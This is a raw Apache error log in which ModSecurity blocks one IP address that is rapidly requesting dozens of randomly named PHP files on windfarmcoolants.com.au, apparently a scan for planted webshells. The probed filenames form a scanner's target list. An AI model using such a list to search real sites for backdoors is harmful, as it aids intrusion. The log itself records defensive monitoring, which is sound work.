[Sat Apr 18 20:20:28.589759 2026] [:error] [pid 9864:tid 9922] [client 52.236.80.95:5911] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tdsaz.php"] [unique_id "aeN3DICFeowknfXHM7kcEgAAAFA"]
[Sat Apr 18 20:20:29.234068 2026] [:error] [pid 13023:tid 13029] [client 52.236.80.95:5933] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tdsaz.php"] [unique_id "aeN3Df1e7hG8DAeABB8GgAAAAQQ"]
[Sat Apr 18 20:20:29.867258 2026] [:error] [pid 34237:tid 34256] [client 52.236.80.95:5922] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ynjli.php"] [unique_id "aeN3DRBmX4Wq5a6rxfarNQAAAVE"]
[Sat Apr 18 20:20:30.410098 2026] [:error] [pid 34237:tid 34252] [client 52.236.80.95:5950] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ynjli.php"] [unique_id "aeN3DhBmX4Wq5a6rxfarNwAAAU0"]
[Sat Apr 18 20:20:31.004014 2026] [:error] [pid 34237:tid 34249] [client 52.236.80.95:5906] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ynjli.php"] [unique_id "aeN3DxBmX4Wq5a6rxfarOQAAAUo"]
[Sat Apr 18 20:20:31.517561 2026] [:error] [pid 34290:tid 34320] [client 52.236.80.95:5819] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ynjli.php"] [unique_id "aeN3DxqX6WpmmAXOBi8cUgAAAcE"]
[Sat Apr 18 20:20:32.068485 2026] [:error] [pid 13023:tid 13037] [client 52.236.80.95:5774] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aeN3EP1e7hG8DAeABB8GhwAAAQw"]
[Sat Apr 18 20:20:32.604347 2026] [:error] [pid 9864:tid 9927] [client 52.236.80.95:5954] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aeN3EICFeowknfXHM7kcFgAAAFU"]
[Sat Apr 18 20:20:33.722121 2026] [:error] [pid 34237:tid 34262] [client 52.236.80.95:5778] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aeN3ERBmX4Wq5a6rxfarOwAAAVc"]
[Sat Apr 18 20:20:34.295283 2026] [:error] [pid 34237:tid 34258] [client 52.236.80.95:5994] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aeN3EhBmX4Wq5a6rxfarPAAAAVM"]
[Sat Apr 18 20:20:34.866446 2026] [:error] [pid 13023:tid 13036] [client 52.236.80.95:5997] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rogsa.php"] [unique_id "aeN3Ev1e7hG8DAeABB8GigAAAQs"]
[Sat Apr 18 20:20:35.735914 2026] [:error] [pid 9863:tid 9880] [client 52.236.80.95:5852] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rogsa.php"] [unique_id "aeN3EzjjiypiFrTucbLNcQAAAAc"]
[Sat Apr 18 20:20:36.239461 2026] [:error] [pid 9864:tid 9918] [client 52.236.80.95:5845] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rogsa.php"] [unique_id "aeN3FICFeowknfXHM7kcGwAAAEw"]
[Sat Apr 18 20:20:36.810450 2026] [:error] [pid 9863:tid 9895] [client 52.236.80.95:5661] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rogsa.php"] [unique_id "aeN3FDjjiypiFrTucbLNdAAAABY"]
[Sat Apr 18 20:20:37.405623 2026] [:error] [pid 34237:tid 34252] [client 52.236.80.95:5867] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "aeN3FRBmX4Wq5a6rxfarQAAAAU0"]
[Sat Apr 18 20:20:38.587291 2026] [:error] [pid 9863:tid 9881] [client 52.236.80.95:5648] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "aeN3FjjjiypiFrTucbLNdQAAAAg"]
[Sat Apr 18 20:20:39.127068 2026] [:error] [pid 9970:tid 9988] [client 52.236.80.95:5666] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "aeN3FyYdRLRhVmaIMx20AQAAAM4"]
[Sat Apr 18 20:20:39.663509 2026] [:error] [pid 9970:tid 9977] [client 52.236.80.95:5831] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "aeN3FyYdRLRhVmaIMx20AwAAAMM"]
[Sat Apr 18 20:20:40.214932 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:5871] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "aeN3GBBmX4Wq5a6rxfarRQAAAVQ"]
[Sat Apr 18 20:20:40.752828 2026] [:error] [pid 13023:tid 13045] [client 52.236.80.95:5802] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "aeN3GP1e7hG8DAeABB8GjQAAARQ"]
[Sat Apr 18 20:20:42.206874 2026] [:error] [pid 34237:tid 34252] [client 52.236.80.95:5908] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "aeN3GhBmX4Wq5a6rxfarTQAAAU0"]
[Sat Apr 18 20:20:42.722232 2026] [:error] [pid 34290:tid 34337] [client 52.236.80.95:6058] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "aeN3GhqX6WpmmAXOBi8cYAAAAdI"]
[Sat Apr 18 20:20:43.282277 2026] [:error] [pid 34290:tid 34327] [client 52.236.80.95:5855] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0yellow.php"] [unique_id "aeN3GxqX6WpmmAXOBi8cYQAAAcg"]
[Sat Apr 18 20:20:44.892110 2026] [:error] [pid 9864:tid 9905] [client 52.236.80.95:6074] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0yellow.php"] [unique_id "aeN3HICFeowknfXHM7kcKQAAAEA"]
[Sat Apr 18 20:20:45.483362 2026] [:error] [pid 9864:tid 9922] [client 52.236.80.95:5871] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0yellow.php"] [unique_id "aeN3HYCFeowknfXHM7kcLAAAAFA"]
[Sat Apr 18 20:20:46.480401 2026] [:error] [pid 34288:tid 34307] [client 52.236.80.95:5745] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0yellow.php"] [unique_id "aeN3HuTIiy__PtiLmpnTQwAAAY8"]
[Sat Apr 18 20:20:47.064474 2026] [:error] [pid 34288:tid 34296] [client 52.236.80.95:5915] File does not exist: /usr/local/apache/htdocs/suspended-page/ortasekerli1.php
[Sat Apr 18 20:20:47.439169 2026] [:error] [pid 34288:tid 34303] [client 52.236.80.95:5915] File does not exist: /usr/local/apache/htdocs/suspended-page/wmore1.php
[Sat Apr 18 20:20:47.694075 2026] [:error] [pid 34288:tid 34302] [client 52.236.80.95:5915] File does not exist: /usr/local/apache/htdocs/suspended-page/wziar1.php
[Sat Apr 18 20:20:47.960918 2026] [:error] [pid 34288:tid 34304] [client 52.236.80.95:5915] File does not exist: /usr/local/apache/htdocs/suspended-page/repurify.php
[Sat Apr 18 20:20:48.216402 2026] [:error] [pid 34288:tid 34316] [client 52.236.80.95:5915] File does not exist: /usr/local/apache/htdocs/suspended-page/4GrJSiwkF3A.php
[Sat Apr 18 20:20:48.558118 2026] [:error] [pid 34288:tid 34314] [client 52.236.80.95:5915] File does not exist: /usr/local/apache/htdocs/suspended-page/no18.php
[Sat Apr 18 20:20:48.814117 2026] [:error] [pid 34288:tid 34310] [client 52.236.80.95:5915] File does not exist: /usr/local/apache/htdocs/suspended-page/wpxl.php
[Sat Apr 18 20:20:49.078280 2026] [:error] [pid 34288:tid 34292] [client 52.236.80.95:5915] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Sat Apr 18 20:20:49.354899 2026] [:error] [pid 34288:tid 34293] [client 52.236.80.95:5915] File does not exist: /usr/local/apache/htdocs/suspended-page/upll22.php
[Sat Apr 18 20:20:49.629088 2026] [:error] [pid 34288:tid 34295] [client 52.236.80.95:5915] File does not exist: /usr/local/apache/htdocs/suspended-page/bthil.php
[Sat Apr 18 20:20:49.882672 2026] [:error] [pid 34288:tid 34294] [client 52.236.80.95:5915] File does not exist: /usr/local/apache/htdocs/suspended-page/cilus.php
[Sat Apr 18 20:20:50.134651 2026] [:error] [pid 34288:tid 34309] [client 52.236.80.95:5915] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-942.php"] [unique_id "aeN3IuTIiy__PtiLmpnTTwAAAZE"]
[Sat Apr 18 20:20:50.777753 2026] [:error] [pid 9864:tid 9917] [client 52.236.80.95:5920] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-942.php"] [unique_id "aeN3IoCFeowknfXHM7kcMwAAAEs"]
[Sat Apr 18 20:20:51.305305 2026] [:error] [pid 9864:tid 9908] [client 52.236.80.95:6053] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-942.php"] [unique_id "aeN3I4CFeowknfXHM7kcNAAAAEM"]
[Sat Apr 18 20:20:51.919846 2026] [:error] [pid 34290:tid 34329] [client 52.236.80.95:5822] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-942.php"] [unique_id "aeN3IxqX6WpmmAXOBi8cbQAAAco"]
[Sat Apr 18 20:20:52.491607 2026] [:error] [pid 34290:tid 34327] [client 52.236.80.95:5874] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-243.php"] [unique_id "aeN3JBqX6WpmmAXOBi8ccQAAAcg"]
[Sat Apr 18 20:20:53.012329 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:6005] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-243.php"] [unique_id "aeN3JRBmX4Wq5a6rxfarUgAAAVQ"]
[Sat Apr 18 20:20:54.316805 2026] [:error] [pid 34290:tid 34320] [client 52.236.80.95:5795] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-243.php"] [unique_id "aeN3JhqX6WpmmAXOBi8cdQAAAcE"]
[Sat Apr 18 20:20:54.860425 2026] [:error] [pid 34290:tid 34337] [client 52.236.80.95:5940] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-243.php"] [unique_id "aeN3JhqX6WpmmAXOBi8ceQAAAdI"]
[Sat Apr 18 20:20:55.405015 2026] [:error] [pid 13023:tid 13046] [client 52.236.80.95:6107] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeN3J_1e7hG8DAeABB8GjwAAARU"]
[Sat Apr 18 20:20:55.999506 2026] [:error] [pid 34237:tid 34255] [client 52.236.80.95:5775] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeN3JxBmX4Wq5a6rxfarVgAAAVA"]
[Sat Apr 18 20:20:56.615003 2026] [:error] [pid 9864:tid 9921] [client 52.236.80.95:5923] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeN3KICFeowknfXHM7kcOAAAAE8"]
[Sat Apr 18 20:20:57.168643 2026] [:error] [pid 13023:tid 13047] [client 52.236.80.95:6002] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeN3Kf1e7hG8DAeABB8GkAAAARY"]
[Sat Apr 18 20:20:57.773644 2026] [:error] [pid 9864:tid 9905] [client 52.236.80.95:5858] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "aeN3KYCFeowknfXHM7kcOgAAAEA"]
[Sat Apr 18 20:20:58.624768 2026] [:error] [pid 9864:tid 9918] [client 52.236.80.95:5829] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "aeN3KoCFeowknfXHM7kcPAAAAEw"]
[Sat Apr 18 20:20:59.183744 2026] [:error] [pid 13023:tid 13033] [client 52.236.80.95:5930] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "aeN3K_1e7hG8DAeABB8GkgAAAQg"]
[Sat Apr 18 20:20:59.770954 2026] [:error] [pid 34237:tid 34252] [client 52.236.80.95:6057] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "aeN3KxBmX4Wq5a6rxfarXAAAAU0"]
[Sat Apr 18 20:21:00.461910 2026] [:error] [pid 34290:tid 34328] [client 52.236.80.95:5902] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "aeN3LBqX6WpmmAXOBi8cfgAAAck"]
[Sat Apr 18 20:21:01.128602 2026] [:error] [pid 34288:tid 34312] [client 52.236.80.95:5995] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "aeN3LeTIiy__PtiLmpnTUAAAAZQ"]
[Sat Apr 18 20:21:01.680334 2026] [:error] [pid 13023:tid 13048] [client 52.236.80.95:5752] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "aeN3Lf1e7hG8DAeABB8GlAAAARc"]
[Sat Apr 18 20:21:02.196690 2026] [:error] [pid 34288:tid 34299] [client 52.236.80.95:5871] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "aeN3LuTIiy__PtiLmpnTUQAAAYc"]
[Sat Apr 18 20:21:02.763059 2026] [:error] [pid 9865:tid 9947] [client 52.236.80.95:6026] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "aeN3Lqzb5knECIY-C-iClAAAAIo"]
[Sat Apr 18 20:21:03.281828 2026] [:error] [pid 34237:tid 34242] [client 52.236.80.95:6132] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "aeN3LxBmX4Wq5a6rxfarXwAAAUM"]
[Sat Apr 18 20:21:04.007583 2026] [:error] [pid 34290:tid 34338] [client 52.236.80.95:5919] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "aeN3MBqX6WpmmAXOBi8cggAAAdM"]
[Sat Apr 18 20:21:04.963625 2026] [:error] [pid 13023:tid 13029] [client 52.236.80.95:5839] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "aeN3MP1e7hG8DAeABB8GlgAAAQQ"]
[Sat Apr 18 20:21:05.584517 2026] [:error] [pid 13023:tid 13041] [client 52.236.80.95:5834] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "aeN3Mf1e7hG8DAeABB8GlwAAARA"]
[Sat Apr 18 20:21:06.219597 2026] [:error] [pid 9864:tid 9910] [client 52.236.80.95:5848] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "aeN3MoCFeowknfXHM7kcQAAAAEU"]
